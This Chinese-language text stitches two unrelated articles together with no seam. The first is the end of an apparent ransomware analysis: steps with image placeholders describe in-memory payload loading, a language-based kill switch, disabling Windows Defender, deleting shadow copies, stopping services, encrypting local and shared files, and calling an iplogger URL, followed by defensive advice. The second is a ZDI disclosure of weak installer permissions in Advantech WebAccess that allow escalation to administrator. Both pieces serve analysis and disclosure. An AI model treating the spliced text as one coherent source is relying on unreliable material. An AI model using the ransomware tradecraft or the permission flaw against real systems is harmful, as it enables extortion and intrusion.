VirtualAlloc、VirtualProtect、VirtualFree、GetVersionExA、TerminateProcess、ExitProcess、SetErrorMode

9.获取操作系统版本信息,如下所示:

09.png

10.通过VirtualAlloc分配相应的内存,再内存中解密核心Payload的PE文件,如下所示:

10.png

11.后面通过VirtualProtect修改0x00400000内存地址属性,并将解密的Payload代码复制到0x00400000地址处,如下所示:

11.png

12.跳转执行到0x00400000内存段中的Payload入口代码处0x00402657,如下所示:

12.png

13.通过GetUserDefaultLangID获取操作系统语言ID,如下所示:

13.png

如果操作系统语言为:

Russian俄国、LANG_KAZAK哈萨克族、LANG_BELARUSIAN白俄罗斯、LANG_TATAR俄罗斯

则执行ping 127.0.0.1命令,并删除自身,如下所示:

14.png

14.读取程序资源ID为1的资源数据,如下所示:

15.png

里面包含相应的RSA密钥以及勒索信息等信息,如下所示:

16.png

15.关闭Windows Defender安全软件,如下所示:

17.png

16.拷贝自身到相应的目录,进行持久化操作,如下所示:

18.png

17.同时生成相应的勒索信息HTA文件,如下所示:

19.png

18.将自身和勒索信息相关文件拷贝到启动目录下面,文件名为生成随机字符串,如下所示:

20.png

拷贝之后,生成相应的文件,如下所示:

21.png

19.通过ShellExecuteW执行runas启动程序,如下所示:

22.png

20.删除磁盘卷影操作,如下所示:

23.png

21.遍历进程,结束相应的进程,如下所示:

24.png

进程列表,如下所示:

25.png

22.停止相应的服务,如下所示:

26.png

相应的服务列表,如下所示:

27.png

28.png

23.生成相应的加密密钥,如下所示:

29.png

24.遍历磁盘目录,然后创建加密线程,加密文件,如下所示:

30.png

25.枚举网络共享文件夹目录,然后创建加密线程,加密文件,如下所示:

31.png

26.加密线程,遍历磁盘和共享目录,然后加密文件,如下所示:

32.png

如果目录包含为以下目录字符串,则不进行加密,相应的字符串列表,如下所示:

· Windows、$Recycle.bin、System Volume Information

· Program Files、Program Files (x86)

同时每个加密的目录下,生成Instructions with your files.txt的勒索信息文本文件。

32.png

27.加密文件的过程,如下所示:

33.png

28.生成并弹出Instructions with your files.txt勒索信息文本文件,如下所示:

34.png

29.弹出生成的HTA勒索信息文件,如下所示:

35.png

30.发送请求连接https://iplogger.org/1t8zw7网站,获取收害者IP地址,如下所示:

36.png

三、解决方案

针对已经出现勒索现象的用户,由于暂时没有解密工具,建议尽快对感染主机进行断网隔离。深信服提醒广大用户尽快做好病毒检测与防御措施,防范该病毒家族的勒索攻击。

病毒防御

深信服安全团队再次提醒广大用户,勒索病毒以防为主,目前大部分勒索病毒加密后的文件都无法解密,注意日常防范措施:

1、及时给电脑打补丁,修复漏洞。

2、对重要的数据文件定期进行非本地备份。

3、不要点击来源不明的邮件附件,不从不明网站下载软件。

4、尽量关闭不必要的文件共享权限。

5、更改账户密码,设置强密码,避免使用统一的密码,因为统一的密码会导致一台被攻破,多台遭殃。

6、如果业务上无需使用RDP的,建议关闭RDP。

最后,建议企业对全网进行一次安全检查和杀毒扫描,加强防护工作。

2018年11月1日,趋势科技的Zero Day Initiative向研华科技(Advantech)报告了关于Advantech WebAccess8.3.3版本中的配置漏洞(ZDI-19-257)。截至2019年3月7日,研华尚未解决此漏洞,因此在本文中,Zero Day Initiative根据披露政策向公众披露了此漏洞。

WebAccess漏洞的背景知识

中国台湾的研华WebAccess软件是研华物联网应用平台解决方案的核心,为用户提供一个基于HTML5技术用户界面,实现跨平台、跨浏览器的数据访问体验。使用WebAccess后,用户可以建立一个信息管理平台,同步提高垂直市场管理发展的效率。研华WebAccess提供了一个基于HTML5的智能仪表板作为下一代WebAccess的人机界面。其中,小部件功能可以让系统集成商通过分析图表和图形用仪表板编辑器来创建自定义信息页面。在创建仪表板界面之后,最终用户可以通过仪表板查看器来查看数据与以及可以在电脑,Mac,平板电脑和智能手机通过任何浏览器无缝观看体验。

此漏洞允许本地攻击者升级易受攻击的Advantech WebAccess Node的安装权限,不过前提是攻击者必须首先获得在目标系统上执行低权限代码的能力,才能利用此漏洞。

具体的漏洞存在于产品安装过程中设置和修改的访问控制中,产品安装弱化了现有的对当前系统文件的访问控制限制,然后对新文件设置弱访问控制限制,攻击者可以利用此漏洞将权限升级到管理员级别。

这种漏洞并不是第一次出现在Advantech WebAccess安装中,以下是曾经发现的漏洞:

· ZDI-19-257 8.3.3

· ZDI-18-1319 8.3.1

· ZDI-18-500 8.3

· ZDI-17-713 8.2

· ZDI-16-155 8.0

对于ZDI-19-257之前的每一个漏洞中,Advantech都会报告说该漏洞会在下一版本中得到解决。但事实证明, Advantech并没有真正解决这些漏洞,具体信息请看2017年的一篇博客文章。

访问控制的安全属性

ZDI-19-257漏洞是我在DefCon 24大会上所做的关于人机接口攻击的演讲中所提出的,客观地说,它属于SCADA系统的漏洞范畴,具体到Advantech就是访问控制问题。

在SCADA系统中,供应商可能会对涉及访问控制的配置漏洞进行最大程度地防护。所以访问控制应该在服务器上运行,并且只有受信任的系统管理员才应该登录系统。这对于减少系统的攻击面是非常重要的,但是对于供应商来说,你是无法控制客户站点的配置情况,并且登录用户不是进入服务器计算机的唯一对象(服务器所做的就是打开端口并处理请求)。

通常情况下,许多SCADA服务器即会作为供应商又会作为客户站点,完成双重任务。因此,对于企业来说,他们必须在系统上运行代码,才能使访问控制漏洞显现出来。特别是对于服务器产品,DACL控件基本上是起深度防御的。但是深度防御非常重要。一个系统(或范围外的网络)通常不会因为只利用一个漏洞而受到危害,每个漏洞都会用于扩展目标上的不同攻击属性,比如持久性等。一旦代码在系统上的某个级别运行,就可以利用弱访问控制来通过系统重新启动来持久存在,或者将控制从低权限帐户提升到管理员或系统帐户。

对于实现Web服务器的产品尤其如此,因为Web服务器需要在调用者的要求下运行脚本。针对web服务器精心设计攻击是最常见的,这样代码就可以在服务器机器上运行,这就是为什么所有web服务器都试图在调用者的要求下限制代码的权限。

这就要求, SCADA软件应该在安全的网段上运行,尽可能远离互联网。但并非所有客户都会按要求在安全网段运行。此外,“安全网段”对不同的客户来说意味着不同的内容,例如,依赖于签名和黑名单的安全设置。

为什么我们自己安装的文件夹的权限配置会被视为漏洞呢?

这也就ZDI-19-257的问题所在,由于计算机系统中文件夹的所有权基本上由所有者字段和文件夹的DACL中的访问权限定义。如果你的安装程序发出的DACL表示每个人都可以完全控制你安装的文件夹,那么,一旦攻击者在计算机上运行了恶意代码,则你的文件夹就会被篡改。

ZDI-19-257的漏洞利用过程

首先,安装Advantech WebAccess 8.3.3系统会削弱对 \Windows\SysWow64 文件夹内64位可执行文件的访问控制限制,该文件夹是在64位系统上运行的32位应用程序的System32文件夹。所有这些文件的访问控制都已更改,以便IUSR帐户可以完全控制它们(包括替换整个文件的能力)。客观地讲,该帐户虽然没有FILE_WRITE或FILE_DELETE,但它确实具有WRITE_DAC访问权限,因此任何作为IUSR运行的代码都可以更改DACL,使其具有写入权限,然后覆盖文件。

在Advantech WebAccess的8.2版本中,安装程序允许所有人完全访问这些文件。正是因为如此, 8.3.3版本中才对此进行了改进。另外在8.3.5版本中,Advantech安装程序禁止处理SysWow64中文件的ACL。

现在就让我们讨论IUSR帐户吧,因为该帐户将在余下的分析中发挥重要作用。不熟悉IIS安装的人可能不太了解它。以下是Microsoft对早期版本IIS的介绍:

IUSR帐户通常称为Web匿名用户或Internet Guest帐户,如果IUSR帐户对请求的访问具有适当的NTFS权限,则IIS服务器上启用匿名身份验证时将使用这个帐户。

简而言之,这就是IIS用于模拟匿名调用者的帐户。 IUSR帐户应具有最小的权限。因此,Advantech安装使用该帐户是绝对不合适的,因为要避免修改系统文件夹内的可执行文件的帐户,或者修改任何位置的任何可执行文件。

IIS webroot中有数千个可执行文件,可以完全控制IUSR帐户,一些二进制文件还可以完全控制World帐户。

更糟糕的是,所有Advantech WebAccess二进制文件(全部以Administrator运行)都包含在\WebAccess\ 节点中。并且所有这些二进制文件都安装在IUSR帐户具有完全控制权的情况下,一些二进制文件还可以完全控制World帐户。

总结

WebAccess系统强大的远程监控功能与其安全的节点是分不开的,比如工程节点(Project node),WebAccess开发平台的所有系统设置及前期开发均在此完成,当它作为Web服务器,提供用户端和监控节点间的初始化连接,当它作为资料库服务器,通过ODBC记录所有即时资料。

令人遗憾的结论是,截止发稿时,这些漏洞根本没有得到修复。我还得出一个结论,软件供应商对某些基本安全概念存在一些误解,比如访问控制的安全。你可以在Twitter上找到 @FritzSands,并跟随我了解最新的漏洞利用技术,并下载对应的安全补丁。